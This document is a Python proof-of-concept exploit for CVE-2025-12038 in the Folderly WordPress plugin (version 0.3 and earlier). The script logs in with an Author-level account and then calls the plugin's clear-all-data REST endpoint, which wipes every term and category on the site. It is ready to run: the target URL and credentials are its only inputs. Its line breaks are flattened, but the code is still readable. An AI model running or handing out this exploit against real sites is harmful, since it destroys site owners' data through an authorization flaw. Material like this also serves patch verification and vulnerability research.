CVE-2025-12038

import requests import sys # CVE-2025-12038 PoC - Folderly Plugin Unauthorized Data Clear # Target: WordPress site with vulnerable Folderly plugin (<= 0.3) # Authentication: Requires Author-level account def exploit(target_url, username, password): """Exploit the insufficient authorization check in Folderly plugin""" # Setup session session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Send malicious request to clear all data api_endpoint = f"{target_url}/wp-json/folderly/v1/config/clear-all-data" print(f"[*] Sending exploit request to: {api_endpoint}") exploit_data = { 'action': 'clear_all', 'confirm': True } response = session.post(api_endpoint, json=exploit_data) if response.status_code == 200: print("[+] Exploit sent! All terms and categories may have been deleted.") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}") return True if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com author password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

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